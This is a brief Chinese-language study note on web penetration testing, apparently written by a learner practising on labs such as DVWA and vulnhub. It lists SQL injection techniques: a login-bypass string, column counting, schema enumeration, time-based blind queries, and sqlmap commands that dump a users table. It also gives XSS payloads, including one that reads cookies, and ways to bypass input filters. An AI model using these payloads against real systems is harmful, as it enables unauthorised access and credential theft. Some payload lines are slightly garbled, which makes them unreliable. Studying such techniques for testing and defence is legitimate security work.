一、sql注入
前提:对用户输入的用户和密码未做任何校验以及处理
可绕过登录的万能语句 "1' or '1'='1" (一般登录用户和密码都是字符串类型)
1.order by 1,2,3,4... 判断表的字段个数,一般占位的个数超过字段数时,页面会报错;下图报错为未知列5,一般此处可判断字段的个数为4;可通过占位数字是否在页面有回显,如果2,3回显的话,我们可替换占位为database()获取当前库名,user()为当前用户(version()版本等)
2.然后通过mysql的元数据表对数据库中所有表进行查看,猜字段,判断用户表
select table_name from information_schema.tables where table_schema='database()';
table_schema字段对应的是库名值
.......
3.若存在类似user的用户表,可直接查看用户信息
4.通过sqlmap来检测注入漏洞
简单的sqlmap -u "http://baidu.com"
sqlmap -r 数据包文件.txt (此处数据包可通过burpsuite抓取并写入txt文件)
python sqlmap.py -r .\1111.txt --batch --dbs --tables
python sqlmap.py -r .\1111.txt --batch -D dvwa --tables
python sqlmap.py -r .\1111.txt --batch -D dvwa -T users --column
python sqlmap.py -r .\1111.txt --batch -D dvwa -T users -C username,password --dump
python sqlmap.py -r .\1111.txt --batch --dbs --tables --technique BT--dump 备份
--technique 表示采用的注入技术,默认DBUSTQ六种注入手段
5.sleep判断注入
select * from users where id =1 and if (user()="root@localhost",sleep(5),null);如果存在默认用户,则查询结果的时间会延时5秒
select * from users where id =1 and if (substr(users(),1,1)="r",sleep(5),null);逐字判断
....union注入的方式与前面有一点点区别
二、xss
常见的payload <img scr=a οnerrοr=confirm(124)> 可换成confirm(document.cookie)
<a href=javascript:alert(124)>
<script>alert(124)</script>
confirm和alert可互换
学会闭包前端源码的<、>符号;
检查工具 xxstrike、xsser
部分防护手段都是通过前端校验对特殊符号进行实体化 转译、正则排除等;可直接通过burpsuite抓包改包放包 去绕过前端校验
如果后台做了校验,可以尝试大小写、双写标签绕过
实测过web应用,大部分xss都是“间接引用”触发;输入payload直接触发的情况比较少见
常用的web漏洞工具 awvs(推荐)、appscan(比较常规性)、netsparker、nitko、owasp、xray等
补充:可通过搭建vulnhub官网发布的漏洞环境进行漏洞复现
快速访问github连接